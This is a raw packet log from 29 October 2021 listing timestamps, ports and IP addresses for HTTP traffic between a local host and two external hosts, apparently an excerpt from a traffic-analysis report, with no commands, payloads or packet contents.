Oct 29, 2021 14:11:14.089884043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089920998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089953899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089987993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090022087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090054989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090089083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090122938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090157032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090192080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090224981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090257883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090291977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090325117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090358973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090394020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090429068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.090465069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.098992109 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.111191988 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.111284971 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.111321926 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.111387014 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.111445904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111488104 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111526012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111558914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111569881 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111593008 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111618042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111649990 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111674070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.111738920 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.114069939 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.116640091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.117110968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.119198084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.119239092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.119827032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.125724077 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.139897108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.139941931 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.139980078 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140018940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140057087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140094995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140122890 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140158892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140196085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140233994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140269995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140307903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140345097 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140373945 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140413046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140448093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140485048 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140522957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140558958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140594959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140624046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140667915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140707016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140743971 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140782118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140819073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140846014 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.140908003 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140947104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.140985012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141022921 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141062021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141088963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141284943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141325951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141362906 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141388893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141434908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141477108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141551018 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141578913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.141822100 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.141839981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142091990 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142131090 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142169952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142210007 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142247915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142276049 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142313957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142349958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142388105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142426014 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142462015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142503977 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142530918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142638922 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142676115 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142713070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142739058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.142813921 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.143799067 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.144804001 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.145814896 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.178637981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178694963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178734064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178774118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178798914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.178812027 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178853989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178894043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178931952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.178968906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179007053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179042101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179080009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179117918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179156065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179194927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179231882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179270983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179308891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179344893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179383039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179419994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179457903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179497004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179533958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179570913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179609060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179645061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179682016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179718971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179758072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179796934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179810047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.179845095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179883957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179923058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179959059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.179996014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180033922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180069923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180109024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180145979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180185080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180222988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180259943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180296898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180335045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180371046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180408955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180445910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180514097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180552959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180592060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180639029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180682898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180723906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180761099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180799007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180803061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.180838108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180907965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180944920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.180985928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181031942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181070089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181123018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181160927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181199074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181237936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181272984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181312084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181349993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181385994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181425095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181462049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181499958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181539059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181574106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181612968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181652069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181688070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181725025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181763887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181799889 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.181802988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181833982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181873083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.181910992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.182796955 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.183816910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.184806108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.185813904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.186800003 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.186925888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.186973095 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.187010050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.187264919 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.187793970 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.193847895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.202882051 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.202927113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.202965021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203002930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203039885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203078032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203105927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203142881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203180075 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203218937 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203254938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203293085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203330040 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203355074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.203824043 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.204507113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204545975 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204576015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204593897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204623938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204663038 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204709053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204745054 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204782963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204807997 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.204824924 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204881907 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204917908 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204955101 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.204992056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205028057 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205065012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205110073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205136061 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205173016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205209017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205246925 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205275059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205311060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205351114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205398083 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205439091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205476999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205516100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205552101 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205589056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205626011 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205662012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205689907 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205727100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205765009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205802917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205815077 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.205867052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205904961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205941916 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.205965996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.206002951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.206041098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.206079006 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.206106901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.206808090 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.207808018 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.208811045 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.249151945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249212980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249253035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249289989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249327898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249366999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249403000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249440908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249478102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249514103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249552965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249582052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249612093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249639988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249679089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249716997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249754906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249794006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249844074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249881983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249917030 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.249919891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249958038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.249996901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250035048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250071049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250108957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250145912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250181913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250220060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250257015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250294924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250334024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250370026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250408888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250451088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250487089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250524044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250561953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250600100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250638008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250703096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250740051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.250823021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.251298904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251339912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251378059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251415014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251452923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251490116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251528025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251566887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251602888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251641035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251678944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251713991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251751900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251789093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251827002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251830101 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.251867056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251903057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251919985 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.251940966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251944065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.251971960 CEST	50094	80	192.168.2.3	193.56.146.214
